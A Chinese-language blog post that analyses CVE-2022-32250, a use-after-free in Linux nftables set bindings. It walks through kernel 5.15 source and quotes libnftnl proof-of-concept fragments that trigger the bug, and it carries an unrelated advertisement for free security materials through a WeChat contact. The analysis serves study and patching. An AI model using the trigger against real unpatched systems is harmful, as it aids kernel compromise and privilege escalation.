前言
在nftales
中存在着集合(sets
),用於存儲唯一值的集合。sets
提供了高效地檢查一個元素是否存在於集合中的機制,它可以用於各種網絡過濾和轉發規則。
而CVE-2022-32250
漏洞則是由於nftables
在處理set
時存在uaf
的漏洞。
環境搭建
ubuntu20 + QEMU-4.2.1 + Linux-5.15
.config
文件
CONFIG_NF_TABLES=y
CONFIG_NETFILTER_NETLINK=y
CONFIG_E1000=y
CONFIG_E1000E=y
CONFIG_USER_NS=y
,開啓命名空間
開啓KASAN
:make menuconfig --> Kernel hacking -->Memory Debugging --> KASAN
在ubuntu20
直接安裝的libnftnl
版本太低,因此需要去https://www.netfilter.org/projects/libnftnl/index.html中下載
./configure --prefix=/usr && make sudo make install
漏洞驗證
poc
:https://seclists.org/oss-sec/2022/q2/159
在運行poc
時,KASAN
檢測出存在uaf
漏洞
漏洞原理
從KASAN
給出的信息可知,該漏洞與set
有關,因此從set
的創建到使用進行源碼分析。
在nf_tables_newset
內首先需要校驗集合名、所屬的表、集合鍵值的長度以及集合的ID
是否被設置,若這些條件不具備則直接返回。
File: linux-5.15\net\netfilter\nf_tables_api.c 4205: static int nf_tables_newset(struct sk_buff *skb, const struct nfnl_info *info, 4206: const struct nlattr * const nla[]) 4207: { ... //判斷創建set的必備條件是否具備 4227: if (nla[NFTA_SET_TABLE] == NULL || 4228: nla[NFTA_SET_NAME] == NULL || 4229: nla[NFTA_SET_KEY_LEN] == NULL || 4230: nla[NFTA_SET_ID] == NULL) 4231: return -EINVAL; ...
集合通過kvzalloc
函數開闢空間
File: linux-5.15\net\netfilter\nf_tables_api.c ... 4369: set = kvzalloc(alloc_size, GFP_KERNEL); 4370: if (!set) 4371: return -ENOMEM; ...
在成功創建集合後,就會進行初始化的過程,有一個變量需要重點關注,即set->bindings
。
File: linux-5.15\net\netfilter\nf_tables_api.c ... //對集合做初始化 4390: INIT_LIST_HEAD(&set->bindings); 4391: INIT_LIST_HEAD(&set->catchall_list); 4392: set->table = table; 4393: write_pnet(&set->net, net); 4394: set->ops = ops; 4395: set->ktype = ktype; 4396: set->klen = desc.klen; 4397: set->dtype = dtype; 4398: set->objtype = objtype; 4399: set->dlen = desc.dlen; 4400: set->flags = flags; 4401: set->size = desc.size; 4402: set->policy = policy; 4403: set->udlen = udlen; 4404: set->udata = udata; 4405: set->timeout = timeout; 4406: set->gc_int = gc_int; ...
當初始化完畢之後,會去判斷創建集合時,該集合是否有需要創建的表達式。
File: linux-5.15\net\netfilter\nf_tables_api.c ... //判斷是否有表達式需要創建 4416: if (nla[NFTA_SET_EXPR]) { 4417: expr = nft_set_elem_expr_alloc(&ctx, set, nla[NFTA_SET_EXPR]); //表達式的創建 4418: if (IS_ERR(expr)) { 4419: err = PTR_ERR(expr); 4420: goto err_set_expr_alloc; 4421: } 4422: set->exprs[0] = expr; 4423: set->num_exprs++; ...
在代碼[1]處會對錶達式進行初始化,緊接着在代碼[2]處會對錶達式的標誌位進行校驗,當表達式的標誌位不具備NFT_EXPR_STATEFUL
屬性,那麼就會跳轉到[3]中進行銷燬表達式的處理,緊接着返回錯誤。這裏似乎會存在問題,因爲代表[1]與[2]是先創建表達式再檢驗,就會導致任意的表達式被創建。
File: linux-5.15\net\netfilter\nf_tables_api.c 5309: struct nft_expr *nft_set_elem_expr_alloc(const struct nft_ctx *ctx, 5310: const struct nft_set *set, 5311: const struct nlattr *attr) 5312: { 5313: struct nft_expr *expr; 5314: int err; 5315: 5316: expr = nft_expr_init(ctx, attr); --->[1] 5317: if (IS_ERR(expr)) 5318: return expr; 5319: 5320: err = -EOPNOTSUPP; 5321: if (!(expr->ops->type->flags & NFT_EXPR_STATEFUL)) --->[2] 5322: goto err_set_elem_expr; 5323: ... 5334: err_set_elem_expr: 5335: nft_expr_destroy(ctx, expr); --->[3] 5336: return ERR_PTR(err); 5337: }
回顧KASAN
的報告,發現該漏洞與表達式nft_lookup
有關,因此接下來關注一下lookup
表達式初始化的過程。
【---- 幫助網安學習,以下所有學習資料免費領!領取資料加 we~@x:dctintin,備註 “開源中國” 獲取!】
① 網安學習成長路徑思維導圖
② 60 + 網安經典常用工具包
③ 100+SRC 漏洞分析報告
④ 150 + 網安攻防實戰技術電子書
⑤ 最權威 CISSP 認證考試指南 + 題庫
⑥ 超 1800 頁 CTF 實戰技巧手冊
⑦ 最新網安大廠面試題合集(含答案)
⑧ APP 客戶端安全檢測指南(安卓 + IOS)
lookup
表達式的結構體如下,可以看到在lookup
結構體裏存在着binding
變量,是上面set
會初始化的一個變量。
struct nft_lookup { struct nft_set *set; //集合 u8 sreg; //源寄存器 u8 dreg; //目的寄存器 bool invert; struct nft_set_binding binding; };
nft_set_bing
結構體實則是維護了一個雙鏈表。
struct nft_set_binding { struct list_head list; const struct nft_chain *chain; u32 flags; };
nft_lookup_init
函數負責初始化lookup
表達式,可以看到需要set
與源寄存器都存在的情況下才能夠完成創建。
File: linux-5.15\net\netfilter\nft_lookup.c 095: static int nft_lookup_init(const struct nft_ctx *ctx, 096: const struct nft_expr *expr, 097: const struct nlattr * const tb[]) 098: { ... //檢測set與源寄存器的值 105: if (tb[NFTA_LOOKUP_SET] == NULL || 106: tb[NFTA_LOOKUP_SREG] == NULL) 107: return -EINVAL; ...
緊接着檢索需要搜索的set
。
File: linux-5.15\net\netfilter\nft_lookup.c ... 109: set = nft_set_lookup_global(ctx->net, ctx->table, tb[NFTA_LOOKUP_SET], 110: tb[NFTA_LOOKUP_SET_ID], genmask); 111: if (IS_ERR(set)) 112: return PTR_ERR(set); ...
最後在完成了set
的搜索後,就會進行一個綁定操作,會將表達式的binging
接入的set
的binding
。
File: linux-5.15\net\netfilter\nft_lookup.c ... 148: err = nf_tables_bind_set(ctx, set, &priv->binding); 149: if (err < 0) 150: return err; ...
首先在綁定之前會校驗鏈表是否是匿名並且非空。
File: linux-5.15\net\netfilter\nf_tables_api.c 4606: int nf_tables_bind_set(const struct nft_ctx *ctx, struct nft_set *set, 4607: struct nft_set_binding *binding) 4608: { ... 4615: if (!list_empty(&set->bindings) && nft_set_is_anonymous(set)) 4616: return -EBUSY; ...
在通過上面的檢測後,就會將當前表達式的加入到set
中,
File: linux-5.15\net\netfilter\nf_tables_api.c ... 4643: list_add_tail_rcu(&binding->list, &set->bindings); ...
綜上所述,bing
的作用實則是維護相同set
下的不同的表達式。具體流程如下。
在set
創建時,會初始化bindings
指向自己本身。
緊接着若有lookup
表達式創建,並綁定上述的set
時,因此通過set
的bingdings
,可以檢索在當前set
上的所有expr
。
在上面說過創建表達式的過程中會檢測表達式的標誌位是否爲NFT_EXPR_STATEFUL
,如[2]所示
5321: if (!(expr->ops->type->flags & NFT_EXPR_STATEFUL)) --->[2] 5322: goto err_set_elem_expr;
在初始化lookup
表達式時,是不會給flags
設置值的,因此默認值即爲0
,因此在創建set
的同時創建lookup
表達式,lookup
表達式的類型是默認爲0
,是無法繞過檢測的。
struct nft_expr_type nft_lookup_type __read_mostly = { .name = "lookup", .ops = &nft_lookup_ops, .policy = nft_lookup_policy, .maxattr = NFTA_LOOKUP_MAX, .owner = THIS_MODULE, };
那麼就會進入銷燬表達式[3]
5334: err_set_elem_expr: 5335: nft_expr_destroy(ctx, expr); --->[3] 5336: return ERR_PTR(err);
nft_expr_destory
函數內除了是否表達式外還會調用nf_tables_expr_destroy
函數
File: linux-5.15\net\netfilter\nf_tables_api.c 2823: void nft_expr_destroy(const struct nft_ctx *ctx, struct nft_expr *expr) 2824: { 2825: nf_tables_expr_destroy(ctx, expr); 2826: kfree(expr); 2827: }
在nf_tables_exor_destroy
函數會調用表達式的destroy
操作
File: linux-5.15\net\netfilter\nf_tables_api.c 2761: static void nf_tables_expr_destroy(const struct nft_ctx *ctx, 2762: struct nft_expr *expr) 2763: { 2764: const struct nft_expr_type *type = expr->ops->type; 2765: 2766: if (expr->ops->destroy) 2767: expr->ops->destroy(ctx, expr); //表達式的刪除操作 2768: module_put(type->owner); 2769: }
nft_lookup_destroy
函數內部調用了nf_tables_destroy_set
函數
File: linux-5.15\net\netfilter\nft_lookup.c 173: static void nft_lookup_destroy(const struct nft_ctx *ctx, 174: const struct nft_expr *expr) 175: { 176: struct nft_lookup *priv = nft_expr_priv(expr); 177: 178: nf_tables_destroy_set(ctx, priv->set); 179: }
在nf_tables_destroy_set
函數內部中有一個簡單的判斷,若不成立那麼實際上nf_tables_destroy_set
不會做任何操作。那麼就會造成一個漏洞,若我們創建的表達式lookup
已經被綁定在set
上,因此list_empty(&set->bindings
爲0
,那麼就會導致destroy
操作不會執行任何操作。就會將lookup
表達式殘留在set->bingdings
中。
File: linux-5.15\net\netfilter\nf_tables_api.c 4683: void nf_tables_destroy_set(const struct nft_ctx *ctx, struct nft_set *set) 4684: { 4685: if (list_empty(&set->bindings) && nft_set_is_anonymous(set)) //判斷`set->bingings是否爲空,以及`set`是否匿名 4686: nft_set_destroy(ctx, set); 4687: }
由於lookup->destory
不會執行任何操作,就會導致lookup
表達式仍然殘留在set->bingdings
上,但是由於表達式的標誌位不能通過校驗,隨後該表達式就會被釋放。
POC分析
首先創建一個名爲set_stable
的set
,爲後續創建lookup
表達式做準備。
set_name = "set_stable"; nftnl_set_set_str(set_stable, NFTNL_SET_TABLE, table_name); nftnl_set_set_str(set_stable, NFTNL_SET_NAME, set_name); nftnl_set_set_u32(set_stable, NFTNL_SET_KEY_LEN, 1); nftnl_set_set_u32(set_stable, NFTNL_SET_FAMILY, family); nftnl_set_set_u32(set_stable, NFTNL_SET_ID, set_id++);
緊接着創建名爲set_trigger
的set
,並同時將標誌位設置爲NFT_SET_EXPR
,那麼就能在創建set
的同時創建表達式,創建的表達式爲lookup
表達式,並且搜索的set
的名爲set_stable
,這裏需要注意的是,第一個創建的set
是爲了後續的lookup
表達式提供搜索的set
,而第二次的set
是爲了創建set
的同時創建lookup
表達式,因此第二個set
的作用僅僅是爲了創建lookup
表達式。
set_name = "set_trigger"; nftnl_set_set_str(set_trigger, NFTNL_SET_TABLE, table_name); nftnl_set_set_str(set_trigger, NFTNL_SET_NAME, set_name); nftnl_set_set_u32(set_trigger, NFTNL_SET_FLAGS, NFT_SET_EXPR); nftnl_set_set_u32(set_trigger, NFTNL_SET_KEY_LEN, 1); nftnl_set_set_u32(set_trigger, NFTNL_SET_FAMILY, family); nftnl_set_set_u32(set_trigger, NFTNL_SET_ID, set_id); exprs[exprid] = nftnl_expr_alloc("lookup"); nftnl_expr_set_str(exprs[exprid], NFTNL_EXPR_LOOKUP_SET, "set_stable"); nftnl_expr_set_u32(exprs[exprid], NFTNL_EXPR_LOOKUP_SREG, NFT_REG_1); // nest the expression into the set nftnl_set_add_expr(set_trigger, exprs[exprid]);
最後就是觸發漏洞,第三次的set
同樣的也僅僅是爲了創建lookup
表達式,由於此時名爲set_stable
的set->bingdings
還存在着被釋放掉的lookup
表達式的指針,因此在第三次創建的時候就會將新創建的lookup
表達式鏈接到上述已經被釋放的lookup
表達式中,從而導致的uaf
漏洞。
set_name = "set_uaf"; nftnl_set_set_str(set_uaf, NFTNL_SET_TABLE, table_name); nftnl_set_set_str(set_uaf, NFTNL_SET_NAME, set_name); nftnl_set_set_u32(set_uaf, NFTNL_SET_FLAGS, NFT_SET_EXPR); nftnl_set_set_u32(set_uaf, NFTNL_SET_KEY_LEN, 1); nftnl_set_set_u32(set_uaf, NFTNL_SET_FAMILY, family); nftnl_set_set_u32(set_uaf, NFTNL_SET_ID, set_id); exprs[exprid] = nftnl_expr_alloc("lookup"); nftnl_expr_set_str(exprs[exprid], NFTNL_EXPR_LOOKUP_SET, "set_stable"); nftnl_expr_set_u32(exprs[exprid], NFTNL_EXPR_LOOKUP_SREG, NFT_REG_1);